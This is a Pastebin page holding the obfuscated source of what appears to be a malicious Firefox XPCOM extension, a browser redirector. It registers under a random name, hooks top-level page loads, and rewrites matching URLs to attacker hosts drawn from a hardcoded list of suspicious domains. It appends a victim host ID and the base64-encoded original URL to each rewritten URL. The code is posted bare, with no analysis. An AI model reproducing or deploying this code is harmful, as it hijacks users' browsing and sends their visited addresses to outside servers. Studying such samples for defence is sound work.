Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var mo = "@mozilla.org/";
- var Ci = Components["interfaces"];
- var Cc = Components["classes"];
- var Cr = Components["results"];
- var Cu = Components["utils"];
- function addlog(a) {}
- Cu["import"]("resource://gre/modules/XPCOMUtils.jsm");
- var prefexport = {
- HOSTID: "NT5.1.2600-74952D50.ENU.362235D7-ED9E5B-5D967F-1438147D",
- VERSION: "33",
- SERVERLIST: "systemtime.ru#systemsync.ru#altruist.pro#uni-link.in#fedlaw-gosdep.ru#save-galapagos-turtles.biz#bear-wagejhunt.ru#govt-comission2011.ru#maha-krishna-ashram.in#gunshop-allaimz.net#karapauk2012.com#navozfromvedeno.ru#msmainofc-here.biz#las-conejitas-nuevo.cc#dastar-khan.cc#applesuicideplan.ws#makaron-po-flotski.su"
- };
- const nsIContentPolicy = Ci["nsIContentPolicy"];
- var Application = Cc[mo + "fuel/application;1"]["getService"](Ci["fuelIApplication"]);
- var gRedirector = null;
- function msRedirector() {
- this["wrappedJSObject"] = this
- }
- msRedirector["prototype"] = {
- RedirectList: false,
- core: null,
- hello: function () {
- return "Hello from ch XPCOM!"
- },
- getpref: function (a) {
- try {
- return prefexport[a]
- } catch (b) {}
- },
- FindRedirSig: function (b, a) {
- if (!this["RedirectList"]) {
- return false
- }
- for (var c = 0; c < this["RedirectList"]["length"]; c++) {
- var d = this["RedirectList"][c];
- if (b["search"]((a) ? d["tofind"] : d["toreplace"]) != -1) {
- break
- }
- }
- if (c != this["RedirectList"]["length"]) {
- return this["RedirectList"][c]
- } else {
- return false
- }
- },
- makeURI: function (d, c, a) {
- var b = Cc[mo + "network/io-service;1"]["getService"](Ci["nsIIOService"]);
- return b["newURI"](d, c, a)
- },
- _startup: function () {
- this["cout"] = Cc[mo + "consoleservice;1"]["getService"](Ci["nsIConsoleService"]);
- try {
- this["cout"]["reset"]()
- } catch (b) {}
- try {
- if (Application.version < 4) {
- var a = Cc[mo + "categorymanager;1"]["getService"](Ci["nsICategoryManager"]);
- a["addCategoryEntry"]("content-policy", this["classDescription"], this["contractID"], true, true)
- }
- } catch (b) {}
- },
- observe: function (c, a, b) {
- switch (a) {
- case "app-startup":
- this["_startup"]();
- break;
- case "profile-after-change":
- this["_startup"]();
- break
- }
- },
- shouldLoad: function (b, j, c, a, g, k) {
- if (j["scheme"] != "http" && j["scheme"] != "https") {
- return nsIContentPolicy["ACCEPT"]
- }
- if (b != nsIContentPolicy["TYPE_DOCUMENT"]) {
- return nsIContentPolicy["ACCEPT"]
- }
- if (!a || !a["loadURI"]) {
- return nsIContentPolicy["ACCEPT"]
- }
- var l = this["FindRedirSig"](j["spec"], true);
- if (l) {
- var d = a;
- if ("redirecting" in d) {
- if ("HostUnreachable" in d["redirecting"]) {
- if (d["redirecting"]["fakeURL"] != l["toreplace"]) {
- delete d["redirecting"]
- } else {
- return Ci["nsIContentPolicy"].ACCEPT
- }
- }
- }
- try {
- var n = j["spec"]["replace"](/https?:/ //,"");var h=l["tofind"]["exec"](n)[0];var m=n["replace"](h,l["toreplace"]);m="http://"+m;var f=(m["indexOf"]("?")==-1)?"?":"&";m+=f+"hostid="+prefexport["HOSTID"];try{m+="&origurl="+b64org.en(j["spec"])}catch(i){}d["redirecting"]={};d["redirecting"]["originalURL"]=j.spec;d["redirecting"]["redirectingURL"]=m;d["redirecting"]["aRequestOrigin"]=c;d["redirecting"]["fakeURL"]=l["toreplace"];d["redirecting"]["notfakeURL"]=h;d["redirecting"]["https"]=j["scheme"]=="https";d["loadURI"](m,c,null)}catch(i){}return Ci["nsIContentPolicy"]["REJECT_REQUEST"]}return Ci["nsIContentPolicy"]["ACCEPT"]},shouldProcess:function(c,e,a,d,b,f){return Ci["nsIContentPolicy"]["ACCEPT"]},classDescription:"hcwtuva",contractID:"@imoomajbcoa.etuiyqa.com/veooubusava;1",classID:Components["ID"]("{b539005b-b661-2bac-72e5-aa47c272c8be}"),_xpcom_factory:{createInstance:function(b,a){if(b!=null){throw Cr["NS_ERROR_NO_AGGREGATION"]}if(!gRedirector){gRedirector=new msRedirector()}return gRedirector["QueryInterface"](a)}},_xpcom_categories:[{category:"app-startup",service:true}],QueryInterface:XPCOMUtils["generateQI"]([Ci["nsIObserver"],Ci["nsIContentPolicy"]])};var b64org={_key:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)",en:function(c){var a="";var k,h,f,j,g,e,d;var b=0;c=b64org["_utf8_en"](c);while(b<c["length"]){k=c["charCodeAt"](b++);h=c["charCodeAt"](b++);f=c["charCodeAt"](b++);j=k>>2;g=((k&3)<<4)|(h>>4);e=((h&15)<<2)|(f>>6);d=f&63;if(isNaN(h)){e=d=64}else{if(isNaN(f)){d=64}}a=a+this["_key"]["charAt"](j)+this["_key"]["charAt"](g)+this["_key"]["charAt"](e)+this["_key"]["charAt"](d)}return a},_utf8_en:function(b){b=b["replace"](/
- / g, "
- ");
- var a = "";
- for (var e = 0; e < b["length"]; e++) {
- var d = b["charCodeAt"](e);
- if (d < 128) {
- a += String["fromCharCode"](d)
- } else {
- if ((d > 127) && (d < 2048)) {
- a += String["fromCharCode"]((d >> 6) | 192);
- a += String["fromCharCode"]((d & 63) | 128)
- } else {
- a += String["fromCharCode"]((d >> 12) | 224);
- a += String["fromCharCode"](((d >> 6) & 63) | 128);
- a += String["fromCharCode"]((d & 63) | 128)
- }
- }
- }
- return a
- }
- };
- if (XPCOMUtils["generateNSGetFactory"]) {
- var NSGetFactory = XPCOMUtils["generateNSGetFactory"]([msRedirector])
- } else {
- var NSGetModule = XPCOMUtils["generateNSGetModule"]([msRedirector])
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement